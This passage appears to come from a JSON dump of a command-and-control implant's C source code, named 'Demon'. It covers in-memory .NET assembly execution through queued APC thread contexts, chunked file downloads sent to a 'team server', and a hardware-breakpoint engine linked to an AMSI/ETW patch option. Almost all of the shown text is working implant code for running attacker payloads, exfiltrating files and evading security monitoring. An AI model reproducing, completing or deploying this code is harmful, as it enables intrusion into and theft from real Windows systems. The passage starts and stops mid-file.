Instance->Dotnet->RopEvnt->Rdx           = U_PTR( NULL );\n                *( PVOID* )( Instance->Dotnet->RopEvnt->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.NtTestAlert );\n\n                // Wait til we freed everything from the dotnet\n                Instance->Dotnet->RopExit->ContextFlags  = CONTEXT_FULL;\n                Instance->Dotnet->RopExit->Rsp          -= U_PTR( 0x1000 * 4 );\n                Instance->Dotnet->RopExit->Rip           = U_PTR( Instance->Win32.NtWaitForSingleObject );\n                Instance->Dotnet->RopExit->Rcx           = U_PTR( Instance->Dotnet->Exit );\n                Instance->Dotnet->RopExit->Rdx           = U_PTR( FALSE );\n                Instance->Dotnet->RopExit->R8            = U_PTR( NULL );\n                *( PVOID* )( Instance->Dotnet->RopExit->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.NtTestAlert );\n\n                if ( ! NT_SUCCESS( Instance->Win32.NtQueueApcThread( Instance->Dotnet->Thread, Instance->Win32.NtContinue, Instance->Dotnet->RopInvk, FALSE, NULL ) ) ) goto Leave;\n                if ( ! NT_SUCCESS( Instance->Win32.NtQueueApcThread( Instance->Dotnet->Thread, Instance->Win32.NtContinue, Instance->Dotnet->RopEvnt, FALSE, NULL ) ) ) goto Leave;\n                if ( ! NT_SUCCESS( Instance->Win32.NtQueueApcThread( Instance->Dotnet->Thread, Instance->Win32.NtContinue, Instance->Dotnet->RopExit, FALSE, NULL ) ) ) goto Leave;\n\n                PUTS( \"Resume Thread...\" )\n                if ( NT_SUCCESS( Instance->Win32.NtAlertResumeThread( Instance->Dotnet->Thread, NULL ) ) )\n                {\n                    PUTS( \"Apc started and assembly invoked.\" )\n\n                    PackageInfo = PackageCreate( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE );\n                    PackageAddInt32( PackageInfo, DOTNET_INFO_ENTRYPOINT_EXECUTED );\n                    PackageAddInt32( PackageInfo, ClientId.UniqueThread );\n                    PackageTransmit( PackageInfo );\n\n                    // we have successfully invoked the main function of the assembly executable.\n                    Instance->Dotnet->Invoked = TRUE;\n\n                } else PUTS( \"NtAlertResumeThread failed\" )\n\n            } else PUTS( \"NtGetThreadContext failed\" )\n\n        } else PUTS( \"NtCreateThreadEx failed\" )\n\n    } else PUTS( \"NtCreateEvent failed\" )\n    */\n\n    return TRUE;\n}\n\n/* push anything from the pipe */\nVOID DotnetPushPipe()\n{\n    DWORD Read      = 0;\n    DWORD BytesRead = 0;\n\n    if ( ! Instance->Dotnet )\n        return;\n\n    /* see how much there is in the named pipe */\n    if ( Instance->Win32.PeekNamedPipe( Instance->Dotnet->Pipe, NULL, 0, NULL, &Read, NULL ) )\n    {\n        PRINTF( \"Read: %d\\n\", Read );\n\n        if ( Read > 0 )\n        {\n            Instance->Dotnet->Output.Length = Read;\n            Instance->Dotnet->Output.Buffer = MmHeapAlloc( Instance->Dotnet->Output.Length );\n\n            Instance->Win32.ReadFile( Instance->Dotnet->Pipe, Instance->Dotnet->Output.Buffer, Instance->Dotnet->Output.Length, &BytesRead, NULL );\n            Instance->Dotnet->Output.Length = BytesRead;\n\n            PPACKAGE Package = PackageCreateWithRequestID( DEMON_OUTPUT, Instance->Dotnet->RequestID );\n            PackageAddBytes( Package, Instance->Dotnet->Output.Buffer, Instance->Dotnet->Output.Length );\n            PackageTransmit( Package );\n\n            if ( Instance->Dotnet->Output.Buffer )\n            {\n                MemSet( Instance->Dotnet->Output.Buffer, 0, Read );\n                MmHeapFree( Instance->Dotnet->Output.Buffer );\n                Instance->Dotnet->Output.Buffer = NULL;\n            }\n        }\n    }\n}\n\nVOID DotnetPush()\n{\n    if ( ! Instance->Dotnet )\n        return;\n\n    PRINTF( \"Instance->Dotnet->Invoked: %s\\n\", Instance->Dotnet->Invoked ? \"TRUE\" : \"FALSE\" )\n    if ( Instance->Dotnet->Invoked )\n    {\n        /* Read from the assembly named pipe and send it to the server */\n        DotnetPushPipe();\n\n        /* check if the assembly is still running. */\n        /* if ( Instance->Win32.WaitForSingleObjectEx( Instance->Dotnet->Event, 0, FALSE ) == WAIT_OBJECT_0 )\n        {\n            PUTS( \"Event has been signaled\" )\n\n            Package = PackageCreate( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE );\n            PackageAddInt32( Package, DOTNET_INFO_FINISHED );\n            PackageTransmit( Package );\n\n            PUTS( \"Dotnet Invoke thread isn't active anymore.\" )\n            Close = TRUE;\n        } */\n\n        /* just in case the assembly pushed something last minute... */\n        DotnetPushPipe();\n\n        /* Now free everything */\n        DotnetClose();\n    }\n}\n\nVOID DotnetClose()\n{\n#ifndef DEBUG\n    Instance->Win32.FreeConsole();\n#endif\n\n    if ( Instance->Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_HWBP ) {\n        HwBpEngineDestroy( NULL );\n    }\n\n    if ( Instance->Dotnet->Event ) {\n        SysNtClose( Instance->Dotnet->Event );\n    }\n\n    if ( Instance->Dotnet->Pipe ) {\n        SysNtClose( Instance->Dotnet->Pipe );\n    }\n\n    if ( Instance->Dotnet->File ) {\n        SysNtClose( Instance->Dotnet->File );\n    }\n\n    if ( Instance->Dotnet->RopInit ) {\n        MemSet( Instance->Dotnet->RopInit, 0, sizeof( CONTEXT ) );\n        Instance->Win32.LocalFree( Instance->Dotnet->RopInit );\n        Instance->Dotnet->RopInit = NULL;\n    }\n\n    if ( Instance->Dotnet->RopInvk )\n    {\n        MemSet( Instance->Dotnet->RopInvk, 0, sizeof( CONTEXT ) );\n        Instance->Win32.LocalFree( Instance->Dotnet->RopInvk );\n        Instance->Dotnet->RopInvk = NULL;\n    }\n\n    if ( Instance->Dotnet->RopEvnt )\n    {\n        MemSet( Instance->Dotnet->RopEvnt, 0, sizeof( CONTEXT ) );\n        Instance->Win32.LocalFree( Instance->Dotnet->RopEvnt );\n        Instance->Dotnet->RopEvnt = NULL;\n    }\n\n    if ( Instance->Dotnet->RopExit )\n    {\n        MemSet( Instance->Dotnet->RopExit, 0, sizeof( CONTEXT ) );\n        Instance->Win32.LocalFree( Instance->Dotnet->RopExit );\n        Instance->Dotnet->RopExit = NULL;\n    }\n\n    PUTS( \"Free Output\" )\n    if ( Instance->Dotnet->Output.Buffer )\n    {\n        MemSet( Instance->Dotnet->Output.Buffer, 0, Instance->Dotnet->Output.Length );\n        Instance->Win32.LocalFree( Instance->Dotnet->Output.Buffer );\n        Instance->Dotnet->Output.Buffer = NULL;\n    }\n\n    PUTS( \"Unload and free CLR\" )\n    if ( Instance->Dotnet->MethodArgs )\n    {\n        Instance->Win32.SafeArrayDestroy( Instance->Dotnet->MethodArgs );\n        Instance->Dotnet->MethodArgs = NULL;\n    }\n\n    if ( Instance->Dotnet->MethodInfo != NULL )\n    {\n        Instance->Dotnet->MethodInfo->lpVtbl->Release( Instance->Dotnet->MethodInfo );\n        Instance->Dotnet->MethodInfo = NULL;\n    }\n\n    if ( Instance->Dotnet->Assembly != NULL )\n    {\n        Instance->Dotnet->Assembly->lpVtbl->Release( Instance->Dotnet->Assembly );\n        Instance->Dotnet->Assembly = NULL;\n    }\n\n    if ( Instance->Dotnet->AppDomain )\n    {\n        Instance->Dotnet->AppDomain->lpVtbl->Release( Instance->Dotnet->AppDomain );\n        Instance->Dotnet->AppDomain = NULL;\n    }\n\n    if ( Instance->Dotnet->AppDomainThunk != NULL )\n    {\n        Instance->Dotnet->AppDomainThunk->lpVtbl->Release( Instance->Dotnet->AppDomainThunk );\n    }\n\n    if ( Instance->Dotnet->ICorRuntimeHost )\n    {\n        Instance->Dotnet->ICorRuntimeHost->lpVtbl->UnloadDomain( Instance->Dotnet->ICorRuntimeHost, Instance->Dotnet->AppDomainThunk );\n        Instance->Dotnet->ICorRuntimeHost->lpVtbl->Stop( Instance->Dotnet->ICorRuntimeHost );\n        Instance->Dotnet->ICorRuntimeHost = NULL;\n    }\n\n    if ( Instance->Dotnet->ClrRuntimeInfo != NULL )\n    {\n        Instance->Dotnet->ClrRuntimeInfo->lpVtbl->Release( Instance->Dotnet->ClrRuntimeInfo );\n        Instance->Dotnet->ClrRuntimeInfo = NULL;\n    }\n\n    if ( Instance->Dotnet->MetaHost != NULL )\n    {\n        Instance->Dotnet->MetaHost->lpVtbl->Release( Instance->Dotnet->MetaHost );\n        Instance->Dotnet->MetaHost = NULL;\n    }\n\n    if ( Instance->Dotnet->Thread ) {\n        SysNtTerminateThread( Instance->Dotnet->Thread, 0 );\n        SysNtClose( Instance->Dotnet->Thread );\n    }\n\n    if ( Instance->Dotnet->Exit ) {\n        SysNtClose( Instance->Dotnet->Exit );\n    }\n\n    if ( Instance->Dotnet ) {\n        MemSet( Instance->Dotnet, 0, sizeof( DOTNET_ARGS ) );\n        MmHeapFree( Instance->Dotnet );\n        Instance->Dotnet = NULL;\n    }\n}\n\nBOOL FindVersion( PVOID Assembly, DWORD length )\n{\n    char* assembly_c;\n    assembly_c = (char*)Assembly;\n    char v4[] = { 0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39 };\n\n    for (int i = 0; i < length; i++)\n    {\n        for (int j = 0; j < 10; j++)\n        {\n            if (v4[j] != assembly_c[i + j])\n                break;\n            else\n            {\n                if (j == (9))\n                    return 1;\n            }\n        }\n    }\n\n    return 0;\n}\n\nDWORD ClrCreateInstance( LPCWSTR dotNetVersion, PICLRMetaHost *ppClrMetaHost, PICLRRuntimeInfo *ppClrRuntimeInfo, ICorRuntimeHost **ppICorRuntimeHost )\n{\n    BOOL fLoadable = FALSE;\n\n    if ( RtMscoree() )\n    {\n        if ( Instance->Win32.CLRCreateInstance( &xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (LPVOID*)ppClrMetaHost ) == S_OK )\n        {\n            if ( ( *ppClrMetaHost )->lpVtbl->GetRuntime( *ppClrMetaHost, dotNetVersion, &xIID_ICLRRuntimeInfo, (LPVOID*)ppClrRuntimeInfo ) == S_OK )\n            {\n                if ( ( ( *ppClrRuntimeInfo )->lpVtbl->IsLoadable( *ppClrRuntimeInfo, &fLoadable ) == S_OK ) && fLoadable )\n                {\n                    //Load the CLR into the current process and return a runtime interface pointer. -> CLR changed to ICor which is deprecated but works\n                    if ( ( *ppClrRuntimeInfo )->lpVtbl->GetInterface( *ppClrRuntimeInfo, &xCLSID_CorRuntimeHost, &xIID_ICorRuntimeHost, (LPVOID*)ppICorRuntimeHost ) == S_OK )\n                    {\n                        //Start it. This is okay to call even if the CLR is already running\n                        ( *ppICorRuntimeHost )->lpVtbl->Start( *ppICorRuntimeHost );\n                    }\n                    else\n                    {\n                        PRINTF(\"[-] ( GetInterface ) Process refusing to get interface of %ls CLR version.  Try running an assembly that requires a different CLR version.\\n\", dotNetVersion);\n                        return 0;\n                    }\n                }\n                else\n                {\n                    PRINTF(\"[-] ( IsLoadable ) Process refusing to load %ls CLR version.  Try running an assembly that requires a different CLR version.\\n\", dotNetVersion);\n                    return 0;\n                }\n            }\n            else\n            {\n                PRINTF(\"[-] ( GetRuntime ) Process refusing to get runtime of %ls CLR version.  Try running an assembly that requires a different CLR version.\\n\", dotNetVersion);\n                return 0;\n            }\n        }\n        else\n        {\n            PRINTF(\"[-] ( CLRCreateInstance ) Process refusing to create %ls CLR version.  Try running an assembly that requires a different CLR version.\\n\", dotNetVersion);\n            return 0;\n        }\n    }\n    else\n    {\n        PUTS(\"Failed to load mscoree.dll\")\n        return 0;\n    }\n\n    return 1;\n}"
  },
  {
    "path": "payloads/Demon/src/core/Download.c",
    "content": "#include <Demon.h>\n\n#include <core/MiniStd.h>\n\n/* Add file to linked list with type (upload/download) */\nPDOWNLOAD_DATA DownloadAdd( HANDLE hFile, LONGLONG MaxSize )\n{\n    PDOWNLOAD_DATA Download = NULL;\n\n    Download            = MmHeapAlloc( sizeof( DOWNLOAD_DATA ) );\n    Download->FileID    = RandomNumber32();\n    Download->hFile     = hFile;\n    Download->Size      = MaxSize;\n    Download->State     = DOWNLOAD_STATE_RUNNING;\n    Download->Next      = Instance->Downloads;\n    Download->RequestID = Instance->CurrentRequestID;\n\n    /* Push to linked list */\n    Instance->Downloads = Download;\n\n    PRINTF( \"Instance->Downloads => %p\\n\", Instance->Downloads )\n\n    return Download;\n}\n\n/* Get download data from linked list */\nPDOWNLOAD_DATA DownloadGet( DWORD FileID )\n{\n    PDOWNLOAD_DATA Download = NULL;\n\n    for ( Download = Instance->Downloads; Download == NULL; Download = Download->Next )\n    {\n        if ( Download->FileID == FileID )\n            break;\n    }\n\n    return Download;\n}\n\n/* Free's download and returns next download from specified download object. */\nVOID DownloadFree( PDOWNLOAD_DATA Download )\n{\n    /* close file handle. */\n    if ( Download->hFile ) {\n        SysNtClose( Download->hFile );\n    }\n\n    PUTS( \"Free download object\" )\n\n    /* Now free the struct */\n    MemSet( Download, 0, sizeof( DOWNLOAD_DATA ) );\n    MmHeapFree( Download );\n    Download = NULL;\n}\n\nBOOL DownloadRemove( DWORD FileID )\n{\n    PDOWNLOAD_DATA Download = NULL;\n    PDOWNLOAD_DATA Last     = NULL;\n    BOOL           Success  = FALSE;\n\n    Download = Instance->Downloads;\n    Last     = Instance->Downloads;\n\n    for ( ;; )\n    {\n        if ( ! Download ) {\n            break;\n        }\n\n        if ( Download->FileID == FileID )\n        {\n            PRINTF( \"Found Download (%x)\\n\", FileID )\n\n            /* Remove download from the list. */\n            Last->Next = Download->Next;\n\n            DownloadFree( Download );\n\n            /* return that we succeeded. */\n            Success = TRUE;\n\n            break;\n        }\n\n        Last     = Download;\n        Download = Download->Next;\n    }\n\n    return Success;\n}\n\n/* send file chunks to team server */\nVOID DownloadPush()\n{\n    PDOWNLOAD_DATA Download = NULL;\n    PDOWNLOAD_DATA DownLast = NULL;\n    PPACKAGE       Package  = NULL;\n\n    Download = Instance->Downloads;\n\n    /* do we actually have downloads pending? */\n    if ( ! Download )\n    {\n        /* we don't have any downloads, free the DownloadChunk if we have one */\n        if ( Instance->DownloadChunk.Buffer )\n        {\n            MemSet( Instance->DownloadChunk.Buffer, 0, Instance->DownloadChunk.Length );\n            MmHeapFree( Instance->DownloadChunk.Buffer );\n            Instance->DownloadChunk.Buffer = NULL;\n        }\n\n        return;\n    }\n\n    /* process current running downloads () */\n    for ( ;; )\n    {\n        if ( ! Download )\n            break;\n\n        /* seems like we have some current downloads\n         * allocate a chunk of memory to use for the chunks. */\n        if ( ! Instance->DownloadChunk.Buffer )\n        {\n            Instance->DownloadChunk.Buffer = MmHeapAlloc( Instance->Config.Implant.DownloadChunkSize );\n            Instance->DownloadChunk.Length = Instance->Config.Implant.DownloadChunkSize;\n\n            PRINTF( \"Allocated memory for DownloadChunk. Buffer:[%p] Size:[%d]\\n\", Instance->DownloadChunk.Buffer, Instance->DownloadChunk.Length )\n        }\n\n        PRINTF( \"Download: %p\\n\", Download )\n        if ( Download->State == DOWNLOAD_STATE_RUNNING )\n        {\n            DWORD Read = 0;\n\n            PRINTF( \"Download (%x) is in state DOWNLOAD_STATE_RUNNING\\n\", Download->FileID )\n\n            /* Reset memory. */\n            MemSet( Instance->DownloadChunk.Buffer, 0, Instance->DownloadChunk.Length );\n\n            if ( ! Instance->Win32.ReadFile( Download->hFile, Instance->DownloadChunk.Buffer, Instance->DownloadChunk.Length, &Read, NULL ) )\n                PRINTF( \"ReadFile Failed: Error[%d]\\n\", NtGetLastError() );\n\n            Download->Size     -= Read;\n            Download->ReadSize += Read;\n\n            /* Send chunk we read */\n            if ( Read > 0 )\n            {\n                PUTS( \"Send download chunk\" )\n\n                Package = PackageCreateWithRequestID( DEMON_COMMAND_FS, Download->RequestID );\n\n                /* Add Download header. */\n                PackageAddInt32( Package, 2 ); /* Download sub command */\n                PackageAddInt32( Package, DOWNLOAD_MODE_WRITE );\n                PackageAddInt32( Package, Download->FileID    );\n\n                /* Download Write data (and only send what we read.) */\n                PackageAddBytes( Package, Instance->DownloadChunk.Buffer, Read );\n\n                /* Send that chunk */\n                PUTS( \"transmit download chunk\" )\n                PackageTransmit( Package );\n            }\n\n            /* if this was the last chunk we read send a finish download close request */\n            if ( ( Read > 0 ) && ( ! Download->Size ) )\n            {\n                Package = PackageCreateWithRequestID( DEMON_COMMAND_FS, Download->RequestID );\n\n                /* Add Download header. */\n                PackageAddInt32( Package, 2 ); /* Download sub command */\n                PackageAddInt32( Package, DOWNLOAD_MODE_CLOSE );\n                PackageAddInt32( Package, Download->FileID    );\n\n                /* Download Close data */\n                PackageAddInt32( Package, DOWNLOAD_REASON_FINISHED );\n\n                /* Send that chunk */\n                PackageTransmit( Package );\n            }\n\n            /* if either what we read or the download size is 0 we are finished. */\n            if ( ( ! Read ) || ( ! Download->Size ) )\n            {\n                PRINTF( \"Read:[%d] Download->Size:[%d]. Set Download (%x) State to DOWNLOAD_STATE_REMOVE\\n\", Read, Download->Size, Download->FileID )\n\n                /* Seems there is nothing else to read from the file.\n                 * remove it at the end of the download routine. */\n                Download->State = DOWNLOAD_STATE_REMOVE;\n            }\n        }\n\n        PRINTF( \"Download[%p] = Download->Next[%p]\\n\", Download, Download->Next )\n        Download = Download->Next;\n    }\n\n    Download = Instance->Downloads;\n    DownLast = NULL;\n\n    /* why do we do that again ?\n     * seems like I can't remove the download item from a linked list while iterating over it. was easier to do this. */\n    for ( ;; )\n    {\n        if ( ! Download )\n            break;\n\n        if ( Download->State == DOWNLOAD_STATE_REMOVE )\n        {\n            /* we are at the beginning. */\n            if ( ! DownLast )\n            {\n                Instance->Downloads = Download->Next;\n                DownloadFree( Download );\n                Download = NULL;\n            }\n            else\n            {\n                DownLast->Next = Download->Next;\n                DownloadFree( Download );\n                DownLast = NULL;\n            }\n        }\n        else\n        {\n            DownLast = Download;\n            Download = Download->Next;\n        }\n    }\n\n    /* Reset memory. */\n    if ( Instance->DownloadChunk.Buffer )\n        MemSet( Instance->DownloadChunk.Buffer, 0, Instance->DownloadChunk.Length );\n}\n\nBOOL MemFileIsNew( ULONG32 ID )\n{\n    PMEM_FILE MemFile = Instance->MemFiles;\n\n    while ( MemFile )\n    {\n        if ( MemFile->ID == ID )\n            return FALSE;\n\n        MemFile = MemFile->Next;\n    }\n\n    return TRUE;\n}\n\n/* Add MemFile to linked list */\nPMEM_FILE NewMemFile( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize )\n{\n    PMEM_FILE MemFile = NULL;\n\n    MemFile           = MmHeapAlloc( sizeof( MEM_FILE ) );\n    MemFile->ID       = ID;\n    MemFile->Size     = Size;\n    MemFile->Data     = MmHeapAlloc( MemFile->Size );\n    MemFile->ReadSize = 0;\n    MemFile->Next     = Instance->MemFiles;\n\n    if ( ! MemFile->Data )\n    {\n        PRINTF( \"Failed to allocate %lx bytes\\n\", MemFile->Size );\n        return NULL;\n    }\n\n    MemCopy( MemFile->Data, Data, ReadSize );\n\n    MemFile->ReadSize += ReadSize;\n\n    MemFile->IsCompleted = MemFile->Size == MemFile->ReadSize;\n\n    PRINTF( \"Copying %x bytes, bytes missing: 0x%x\\n\", ReadSize, MemFile->Size - MemFile->ReadSize )\n\n    /* Push to linked list */\n    Instance->MemFiles = MemFile;\n\n    PRINTF( \"Added a MemFile [%x]\\n\", MemFile->ID )\n\n    return MemFile;\n}\n\nPMEM_FILE GetMemFile( ULONG32 ID )\n{\n    PMEM_FILE MemFile = Instance->MemFiles;\n\n    while ( MemFile )\n    {\n        if ( MemFile->ID == ID )\n            return MemFile;\n\n        MemFile = MemFile->Next;\n    }\n\n    return NULL;\n}\n\nPMEM_FILE ProcessMemFileChunk( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize )\n{\n    PMEM_FILE MemFile = NULL;\n\n    if ( MemFileIsNew( ID ) )\n    {\n        MemFile = NewMemFile( ID, Size, Data, ReadSize );\n    }\n    else\n    {\n        MemFile = MemFileReadChunk( ID, Size, Data, ReadSize );\n    }\n\n    return MemFile;\n}\n\nPMEM_FILE MemFileReadChunk( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize )\n{\n    PMEM_FILE MemFile = NULL;\n\n    MemFile = GetMemFile( ID );\n    if ( ! MemFile )\n    {\n        PRINTF( \"MemFile with the id %x was not found\\n\", ID );\n        return NULL;\n    }\n\n    PRINTF( \"Copying %x bytes, bytes missing: 0x%x\\n\", ReadSize, MemFile->Size - MemFile->ReadSize )\n    MemCopy( C_PTR( U_PTR( MemFile->Data ) + MemFile->ReadSize ), Data, ReadSize );\n\n    MemFile->ReadSize += ReadSize;\n\n    MemFile->IsCompleted = MemFile->Size == MemFile->ReadSize;\n\n    return MemFile;\n}\n\nVOID MemFileFree( PMEM_FILE MemFile )\n{\n    if ( MemFile->Data && MemFile->Size )\n        MemSet( MemFile->Data, 0, MemFile->Size );\n\n    if ( MemFile->Data )\n        MmHeapFree( MemFile->Data );\n\n    MemFile->Data = NULL;\n    MemFile->Size = 0;\n\n    MemSet( MemFile, 0, sizeof( MEM_FILE ) );\n    MmHeapFree( MemFile );\n    MemFile = NULL;\n}\n\nBOOL RemoveMemFile( ULONG32 ID )\n{\n    PMEM_FILE MemFile = NULL;\n    PMEM_FILE Last    = NULL;\n    BOOL      Success = FALSE;\n\n    if ( Instance->MemFiles && Instance->MemFiles->Next == NULL )\n    {\n        if ( Instance->MemFiles->ID == ID )\n        {\n            MemFileFree( Instance->MemFiles );\n            Instance->MemFiles = NULL;\n            Success = TRUE;\n        }\n\n        PRINTF( \"Removed MemFile [%x] : %d\\n\", ID, Success )\n        return Success;\n    }\n\n    MemFile = Instance->MemFiles;\n    Last    = Instance->MemFiles;\n\n    for ( ;; )\n    {\n        if ( ! MemFile )\n            break;\n\n        if ( MemFile->ID == ID )\n        {\n            /* Remove it from the list. */\n            Last->Next = MemFile->Next;\n\n            MemFileFree( MemFile );\n\n            /* return that we succeeded. */\n            Success = TRUE;\n\n            break;\n        }\n\n        Last    = MemFile;\n        MemFile = MemFile->Next;\n    }\n\n    PRINTF( \"Removed MemFile [%x] : %d\\n\", ID, Success )\n\n    return Success;\n}\n"
  },
  {
    "path": "payloads/Demon/src/core/HwBpEngine.c",
    "content": "#include <Demon.h>\n#include <core/HwBpEngine.h>\n#include <core/HwBpExceptions.h>\n#include <core/SysNative.h>\n#include <core/MiniStd.h>\n\nLONG ExceptionHandler(\n    _Inout_ PEXCEPTION_POINTERS Exception\n);\n\n/*!\n * Init Hardware breakpoint engine by\n * registering a Vectored exception handler\n * @param Engine   if empty global handler gonna be used\n * @param Handler\n * @return\n */\nNTSTATUS HwBpEngineInit(\n    OUT PHWBP_ENGINE Engine,\n    IN  PVOID        Handler\n) {\n    PHWBP_ENGINE HwBpEngine  = Engine;\n    PVOID        HwBpHandler = Handler;\n\n    /* check if an engine object has been specified in the function param.\n     * if not then check if the callee wants to init the global engine.\n     * tho if the global engine has been already init then abort  */\n    if ( ( ! HwBpEngine && ! HwBpHandler ) && Instance->HwBpEngine ) {\n        return STATUS_INVALID_PARAMETER;\n    }\n\n    if ( Instance->HwBpEngine ) {\n\n    }\n\n    /* since we did not specify an engine let's use the global one */\n    if ( ! HwBpEngine ) {\n        HwBpEngine  = Instance->HwBpEngine = MmHeapAlloc( sizeof( HWBP_ENGINE ) );\n        HwBpHandler = &ExceptionHandler;\n    }\n\n    /* register Vectored exception handler */\n    if ( ! ( HwBpEngine->Veh = Instance->Win32.RtlAddVectoredExceptionHandler( TRUE, HwBpHandler ) ) ) {\n        return STATUS_UNSUCCESSFUL;\n    }\n\n    /* tell the engine that it has not added anything atm */\n    HwBpEngine->First = TRUE;\n\n    return STATUS_SUCCESS;\n}\n\n/*!\n * Set hardware breakpoint on specified address\n * @param Tib\n * @param Address\n * @param Position\n * @param Add\n * @return\n */\nNTSTATUS HwBpEngineSetBp(\n    IN DWORD Tid,\n    IN PVOID Address,\n    IN BYTE  Position,\n    IN BYTE  Add\n) {\n    DWORD             Pid     = Instance->Session.PID;\n    CLIENT_ID         Client  = { 0 };\n    CONTEXT           Context = { 0 };\n    HANDLE            Thread  = NULL;\n    NTSTATUS          Status  = STATUS_SUCCESS;\n    OBJECT_ATTRIBUTES ObjAttr = { 0 };\n\n    /* Initialize Object Attributes */\n    InitializeObjectAttributes( &ObjAttr, NULL, 0, NULL, NULL );\n\n    Client.UniqueProcess = C_PTR( Pid );\n    Client.UniqueThread  = C_PTR( Tid );\n\n    /* try to get open thread handle */\n    if ( ! NT_SUCCESS( SysNtOpenThread( &Thread, THREAD_ALL_ACCESS, &ObjAttr, &Client ) ) )\n        goto FAILED;\n\n    Context.ContextFlags = CONTEXT_DEBUG_REGISTERS;\n\n    /* try to get context of thread */\n    if ( ! NT_SUCCESS( Status = SysNtGetContextThread( Thread, &Context ) ) ) {\n        goto FAILED;\n    }\n\n    /* add hardware breakpoint */\n    if ( Add )\n    {\n        /* set address */\n        ( &Context.Dr0 )[ Position ] = U_PTR( Address );\n\n        /* setup registers */\n        Context.Dr7 &= ~( 3ull << ( 16 + 4 * Position ) );\n        Context.Dr7 &= ~( 3ull << ( 18 + 4 * Position ) );\n        Context.Dr7 |= 1ull << ( 2 * Position );\n    }\n    else /* remove hardware breakpoint */\n    {\n        if ( ( &Context.Dr0 )[ Position ] == Address ) {\n            PRINTF(\n                \"Dr Registers:  \\n\"\n                \"- Dr0[%d]: %p  \\n\"\n                \"- Dr7   : %p  \\n\",\n                Position, ( &Context.Dr0 )[ Position ],\n                Context.Dr7\n            )\n\n            ( &Context.Dr0 )[ Position ] = U_PTR( NULL );\n            Context.Dr7 &= ~( 1ull << ( 2 * Position ) );\n\n            PRINTF(\n                \"Dr Registers:  \\n\"\n                \"- Dr0[%d]: %p  \\n\"\n                \"- Dr7   : %p  \\n\",\n                Position, ( &Context.Dr0 )[ Position ],\n                Context.Dr7\n            )\n        }\n    }\n\n    /* try to get context of thread */\n    if ( ! NT_SUCCESS( Status = SysNtSetContextThread( Thread, &Context ) ) ) {\n        goto FAILED;\n    }\n\n    return Status;\n\nFAILED:\n    if ( Thread ) {\n        SysNtClose( Thread );\n        Thread = NULL;\n    }\n\n    return Status;\n}\n\n/*!\n * Set an hardware breakpoint to an address\n * and adds it to the engine breakpoints list linked\n * @param Engine\n * @param Thread\n * @param Address\n * @param Function\n * @param Position\n * @return\n */\nNTSTATUS HwBpEngineAdd(\n    IN PHWBP_ENGINE Engine,\n    IN DWORD        Tid,\n    IN PVOID        Address,\n    IN PVOID        Function,\n    IN BYTE         Position\n) {\n    PHWBP_ENGINE HwBpEngine = Engine;\n    PBP_LIST     BpEntry    = NULL;\n\n    PRINTF( \"Engine:[%p] Tid:[%d] Address:[%p] Function:[%p] Position:[%d]\\n\", Engine, Tid, Address, Function, Position )\n\n    /* check if engine has been specified */\n    if ( ! HwBpEngine && ! Instance->HwBpEngine ) {\n        return STATUS_INVALID_PARAMETER;\n    }\n\n    /* check if the right params has been specified */\n    if ( ! Address || ! Function ) {\n        return STATUS_INVALID_PARAMETER;\n    }\n\n    /* if no engine specified use the global one */\n    if ( ! HwBpEngine ) {\n        HwBpEngine = Instance->HwBpEngine;\n    }\n\n    /* create bp entry */\n    BpEntry = MmHeapAlloc( sizeof( BP_LIST ) );\n    BpEntry->Tid      = Tid;\n    BpEntry->Address  = Address;\n    BpEntry->Function = Function;\n    BpEntry->Position = Position;\n    BpEntry->Next     = HwBpEngine->Breakpoints;\n\n    /* set breakpoint */\n    if ( ! NT_SUCCESS( HwBpEngineSetBp( Tid, Address, Position, TRUE ) ) ) {\n        PUTS( \"[HWBP] Failed to set hardware breakpoint\" );\n        goto FAILED;\n    } else {\n        PRINTF( \"[HWBP] Added hardware breakpoint: Tid:[%d] Addr:[%p] Pos:[%d]\\n\", Tid, Address, Position )\n    }\n\n    /* append breakpoint */\n    HwBpEngine->Breakpoints = BpEntry;\n\n    return STATUS_SUCCESS;\n\nFAILED:\n    if ( BpEntry ) {\n        MmHeapFree( BpEntry );\n        BpEntry = NULL;\n    }\n\n    return STATUS_UNSUCCESSFUL;\n}\n\nNTSTATUS HwBpEngineRemove(\n    IN PHWBP_ENGINE Engine,\n    IN DWORD        Tid,\n    IN PVOID        Address\n) {\n    PHWBP_ENGINE HwBpEngine = NULL;\n    PBP_LIST     BpEntry    = NULL;\n    PBP_LIST     BpLast     = NULL;\n\n    if ( ! Engine && ! Instance->HwBpEngine ) {\n        return STATUS_INVALID_PARAMETER;\n    }\n\n    if ( ! HwBpEngine ) {\n        HwBpEngine = Instance->HwBpEngine;\n    }\n\n    /* set linked list */\n    BpEntry = BpLast = HwBpEngine->Breakpoints;\n\n    for ( ;; )\n    {\n        /* check if BpEntry is NULL */\n        if ( ! BpEntry ) {\n            break;\n        }\n\n        /* is it the breakpoint we want to remove ? */\n        if ( BpEntry->Tid == Tid && BpEntry->Address == Address )\n        {\n            /* unlink from linked list */\n            BpLast->Next = BpEntry->Next;\n\n            /* disable hardware breakpoint */\n            HwBpEngineSetBp( BpEntry->Tid, BpEntry->Address, BpEntry->Position, FALSE );\n\n            /* zero out struct */\n            MemZero( BpEntry, sizeof( BP_LIST ) );\n\n            /* free memory struct */\n            MmHeapFree( BpEntry );\n\n            break;\n        }\n\n        BpLast  = BpEntry;\n        BpEntry = BpEntry->Next;\n    }\n\n    return STATUS_SUCCESS;\n}\n\nNTSTATUS HwBpEngineDestroy(\n    IN PHWBP_ENGINE Engine\n) {\n    PHWBP_ENGINE HwBpEngine = Engine;\n    PBP_LIST     BpEntry    = NULL;\n    PBP_LIST     BpNext     = NULL;\n\n    if ( ! Engine && ! Instance->HwBpEngine ) {\n        return STATUS_INVALID_PARAMETER;\n    }\n\n    if ( ! HwBpEngine ) {\n        HwBpEngine = Instance->HwBpEngine;\n    }\n\n    /* remove Vector exception handler */\n    